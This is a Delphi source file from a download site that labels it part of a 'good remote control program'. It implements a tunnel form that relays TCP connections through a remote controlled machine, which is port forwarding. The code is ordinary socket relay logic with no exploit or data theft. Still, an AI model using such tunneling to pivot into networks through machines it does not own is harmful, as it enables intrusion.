⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 unittunnel.pas

📁 不错的远程控制程序
💻 PAS
字号:
unit UnitTunnel;

interface

uses
  Windows,
  Messages,
  SysUtils,
  Variants,
  Classes,
  Graphics,
  Controls,
  Forms,
  Dialogs,
  StdCtrls,
  ComCtrls,
  ExtCtrls,
  Sockets,
  CompressionStreamUnitForms;

type
  TTunnel = class(TForm)
    CheckBox1: TCheckBox;
    GroupBox1: TGroupBox;
    StatusBar1: TStatusBar;
    Label4: TLabel;
    Label5: TLabel;
    Edit1: TEdit;
    Edit2: TEdit;
    Label3: TLabel;
    Label1: TLabel;
    Label2: TLabel;
    procedure CheckBox1Click(Sender: TObject);
    procedure FormCreate(Sender: TObject);
    procedure FormCloseQuery(Sender: TObject; var CanClose: Boolean);
    procedure FormClose(Sender: TObject; var Action: TCloseAction);
    procedure FormDeactivate(Sender: TObject);
    procedure FormCanResize(Sender: TObject; var NewWidth,
      NewHeight: Integer; var Resize: Boolean);
  private
    { Private declarations }
    DataSocket: TCustomWinSocket;
    Connected: Boolean;
    ConnectNotifyInfo: TNotifyInfo;
    ReadNotifyInfo: TNotifyInfo;
    DisconnectNotifyInfo: TNotifyInfo;
    ServerSocket: TServerSocket;
    DataIn, DataOut: dword;
    procedure ClientConnect(Sender: TObject; ClientSocket: TCustomWinSocket);
    procedure ClientRead(Sender: TObject; ClientSocket: TCustomWinSocket);
    procedure ClientDisconnect(Sender: TObject; ClientSocket: TCustomWinSocket);
    procedure Connect(var Socket: TCustomWinSocket; Data: Pointer);
    procedure Read(var Socket: TCustomWinSocket; CommandFrame: TCommandFrame; Stream: TMemoryStream; Data: Pointer);
    procedure Disconnect(var Socket: TCustomWinSocket; Data: Pointer);
    function SocketConnected: Boolean;
  public
    { Public declarations }
    RemoteAddress: string;
    WindowItem: TListItem;
  end;

implementation

{$R *.dfm}

uses
  UnitMain;

const
  TUN_TYPE = 14;
  TUN_START = 1;
  TUN_STOP = 2;
  TUN_CONNECT = 3;
  TUN_DATA = 4;
  TUN_DISCONNECT = 5;

function TTunnel.SocketConnected: Boolean;
begin
  if ((Connected) and (DataSocket <> nil)) then
  begin
    Connected := DataSocket.Connected;
    if not Connected then StatusBar1.Panels[0].Text := ' 断开连接';
  end;
  Result := Connected;
end;

procedure TTunnel.ClientConnect(Sender: TObject; ClientSocket: TCustomWinSocket);
var
  CommandFrame: TCommandFrame;
  ReplyStream: TMemoryStream;
  Port: dword;
begin
  if not SocketConnected then Exit;
  Label3.Caption := '连接数: ' + IntToStr(ServerSocket.Socket.ActiveConnections);
  ClientSocket.Data := nil;
  CommandFrame.len := 4;
  CommandFrame.Command := TUN_CONNECT;
  CommandFrame.ID := FRAME_ID;
  ReplyStream := TMemoryStream.Create;
  ReplyStream.WriteBuffer(CommandFrame, SizeOf(TCommandFrame));
  Port := ClientSocket.RemotePort;
  ReplyStream.WriteBuffer(Port, 4);
  Main.SendStream(DataSocket, ReplyStream);
end;

procedure TTunnel.ClientRead(Sender: TObject; ClientSocket: TCustomWinSocket);
var
  CommandFrame: TCommandFrame;
  ReplyStream: TMemoryStream;
  Port: dword;
  Buffer: Pointer;
begin
  if not SocketConnected then Exit;
  if ClientSocket.Data = nil then
  begin
    ClientSocket.ReceiveBuf(Port, 0);
    Exit;
  end;
  Inc(DataOut, ClientSocket.ReceiveLength);
  Label2.Caption := '发送字节: ' + IntToStr(DataOut);
  Application.ProcessMessages;
  CommandFrame.len := ClientSocket.ReceiveLength;
  CommandFrame.Command := TUN_DATA;
  CommandFrame.ID := FRAME_ID;
  GetMem(Buffer, CommandFrame.len);
  try
    CommandFrame.len := ClientSocket.ReceiveBuf(Buffer^, CommandFrame.len) + 4;
    ReplyStream := TMemoryStream.Create;
    ReplyStream.WriteBuffer(CommandFrame, SizeOf(TCommandFrame));
    Port := ClientSocket.RemotePort;
    ReplyStream.WriteBuffer(Port, 4);
    ReplyStream.WriteBuffer(Buffer^, CommandFrame.len - 4);
    if not Main.SendStream(DataSocket, ReplyStream) then ShowMessage('');
  finally
    FreeMem(Buffer);
  end;
end;

procedure TTunnel.ClientDisconnect(Sender: TObject; ClientSocket: TCustomWinSocket);
var
  CommandFrame: TCommandFrame;
  ReplyStream: TMemoryStream;
  Port: dword;
begin
  if not SocketConnected then Exit;
  Label3.Caption := '连接数: ' + IntToStr(ServerSocket.Socket.ActiveConnections);
  if DataSocket = nil then Exit;
  if not DataSocket.Connected then Exit;
  CommandFrame.len := 4;
  CommandFrame.Command := TUN_DISCONNECT;
  CommandFrame.ID := FRAME_ID;
  ReplyStream := TMemoryStream.Create;
  ReplyStream.WriteBuffer(CommandFrame, SizeOf(TCommandFrame));
  Port := ClientSocket.RemotePort;
  ReplyStream.WriteBuffer(Port, 4);
  Main.SendStream(DataSocket, ReplyStream);
end;

procedure TTunnel.Connect(var Socket: TCustomWinSocket; Data: Pointer);
var
  Tunnel: TTunnel;
  ConnectionInfo: TConnectionInfo;
begin
  Tunnel := TTunnel(Data);
  if TStreamRecord(Socket.Data).LocalAddress <> Tunnel.RemoteAddress then Exit;
  if Tunnel.DataSocket = nil then Tunnel.DataSocket := Socket else Exit;
  ConnectionInfo.ConnectionType := TUN_TYPE;
  Socket.SendBuf(ConnectionInfo, SizeOf(TConnectionInfo));
  Tunnel.Connected := True;
  Tunnel.StatusBar1.Panels.Items[0].Text := ' 已连接: ' + Socket.RemoteAddress;
  Tunnel.CheckBox1.Enabled := True;
  Socket := nil;
end;

procedure TTunnel.Read(var Socket: TCustomWinSocket; CommandFrame: TCommandFrame; Stream: TMemoryStream; Data: Pointer);
var
  Tunnel: TTunnel;
  ClientLoop: Integer;
  Port: Integer;
begin
  Tunnel := TTunnel(Data);
  if Tunnel.DataSocket = Socket then
  begin
    case CommandFrame.Command of
      TUN_DATA:
        begin
          Stream.ReadBuffer(Port, 4);
          for ClientLoop := 0 to Tunnel.ServerSocket.Socket.ActiveConnections - 1 do
          begin
            if Tunnel.ServerSocket.Socket.Connections[ClientLoop].RemotePort = Port then
            begin
              Tunnel.ServerSocket.Socket.Connections[ClientLoop].SendBuf(Pointer(dword(Stream.Memory) + 4)^, Stream.Size - 4);
              Inc(Tunnel.DataIn, Stream.Size - 4);
              Tunnel.Label1.Caption := '接收字节: ' + IntToStr(Tunnel.DataIn);
              Break;
            end;
          end;
        end;
      TUN_CONNECT:
        begin
          Stream.ReadBuffer(Port, 4);
          for ClientLoop := 0 to Tunnel.ServerSocket.Socket.ActiveConnections - 1 do
          begin
            if Tunnel.ServerSocket.Socket.Connections[ClientLoop].RemotePort = Port then
            begin
              Tunnel.ServerSocket.Socket.Connections[ClientLoop].Data := Pointer(1);
              Break;
            end;
          end;
        end;
      TUN_DISCONNECT:
        begin
          Stream.ReadBuffer(Port, 4);
          for ClientLoop := 0 to Tunnel.ServerSocket.Socket.ActiveConnections - 1 do
          begin
            if Tunnel.ServerSocket.Socket.Connections[ClientLoop].RemotePort = Port then
            begin
              Tunnel.ServerSocket.Socket.Connections[ClientLoop].Close;
              Tunnel.Label3.Caption := '连接数: ' + IntToStr(Tunnel.ServerSocket.Socket.ActiveConnections);
              Break;
            end;
          end;
        end;
    end;
    Socket := nil;
  end;
end;

procedure TTunnel.Disconnect(var Socket: TCustomWinSocket; Data: Pointer);
var
  Tunnel: TTunnel;
begin
  Tunnel := TTunnel(Data);
  if Tunnel.DataSocket = Socket then
  begin
    Tunnel.Connected := False;
    Tunnel.StatusBar1.Panels[0].Text := ' 断开连接';
    Tunnel.CheckBox1.Checked := False;
    Tunnel.CheckBox1.Enabled := False;
    Socket := nil;
    Tunnel.DataSocket := nil;
  end;
end;

procedure TTunnel.FormCreate(Sender: TObject);
begin
  DataIn := 0;
  DataOut := 0;
  DataSocket := nil;
  ConnectNotifyInfo := TNotifyInfo.Create;
  ConnectNotifyInfo.Data := Self;
  ConnectNotifyInfo.Callback := @TTunnel.Connect;
  Main.NotifyConnectList.Add(ConnectNotifyInfo);
  ReadNotifyInfo := TNotifyInfo.Create;
  ReadNotifyInfo.Data := Self;
  ReadNotifyInfo.Callback := @TTunnel.Read;
  Main.NotifyReadList.Add(ReadNotifyInfo);
  DisconnectNotifyInfo := TNotifyInfo.Create;
  DisconnectNotifyInfo.Data := Self;
  DisconnectNotifyInfo.Callback := @TTunnel.Disconnect;
  Main.NotifyDisconnectList.Add(DisconnectNotifyInfo);
end;

procedure TTunnel.CheckBox1Click(Sender: TObject);
var
  CommandFrame: TCommandFrame;
  ReplyStream: TMemoryStream;
  Port: dword;
begin
  if not SocketConnected then Exit;
  if CheckBox1.Checked then
  begin
    if ((Length(Edit1.Text) = 0) or (Length(Edit2.Text) = 0)) then
    begin
      CheckBox1.Checked := False;
      Exit;
    end;
    Edit1.Enabled := False;
    Edit2.Enabled := False;
    if Assigned(ServerSocket) then ServerSocket.Free;
    ServerSocket := TServerSocket.Create;
    ServerSocket.OnClientConnect := ClientConnect;
    ServerSocket.OnClientRead := ClientRead;
    ServerSocket.OnClientDisconnect := ClientDisconnect;
    ServerSocket.Port := StrToInt(Edit2.Text);
    ServerSocket.Active := True;
    if DataSocket = nil then Exit;
    if not DataSocket.Connected then Exit;
    CommandFrame.len := 4;
    CommandFrame.Command := TUN_START;
    CommandFrame.ID := FRAME_ID;
    ReplyStream := TMemoryStream.Create;
    ReplyStream.WriteBuffer(CommandFrame, SizeOf(TCommandFrame));
    Port := StrToInt(Edit1.Text);
    ReplyStream.WriteBuffer(Port, 4);
    Main.SendStream(DataSocket, ReplyStream);
  end
  else
  begin
    if not Assigned(ServerSocket) then Exit;
    Edit1.Enabled := True;
    Edit2.Enabled := True;
    try
      ServerSocket.Active := False;
    except
    end;
    DataIn := 0;
    DataOut := 0;
    Label3.Caption := '连接数: ' + IntToStr(ServerSocket.Socket.ActiveConnections);
    CommandFrame.len := 0;
    CommandFrame.Command := TUN_STOP;
    CommandFrame.ID := FRAME_ID;
    ReplyStream := TMemoryStream.Create;
    ReplyStream.WriteBuffer(CommandFrame, SizeOf(TCommandFrame));
    Main.SendStream(DataSocket, ReplyStream);
  end;
end;

procedure TTunnel.FormCloseQuery(Sender: TObject;
  var CanClose: Boolean);
begin
  CanClose := not CheckBox1.Checked;
end;

procedure TTunnel.FormClose(Sender: TObject; var Action: TCloseAction);
var
  Socket: TCustomWinSocket;
begin
  Main.NotifyConnectList.Delete(Main.NotifyConnectList.IndexOf(ConnectNotifyInfo));
  Main.NotifyReadList.Delete(Main.NotifyReadList.IndexOf(ReadNotifyInfo));
  Main.NotifyDisconnectList.Delete(Main.NotifyDisconnectList.IndexOf(DisconnectNotifyInfo));
  WindowItem.Delete;
  if DataSocket <> nil then
  begin
    if not SocketConnected then
    begin
      Socket := DataSocket;
      DataSocket := nil;
      Connected := False;
      Socket.Close;
    end;
  end;
end;

procedure TTunnel.FormDeactivate(Sender: TObject);
begin
  if WindowState = wsMinimized then Hide;
end;

procedure TTunnel.FormCanResize(Sender: TObject; var NewWidth,
  NewHeight: Integer; var Resize: Boolean);
begin
  Resize := False;
end;

end.

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -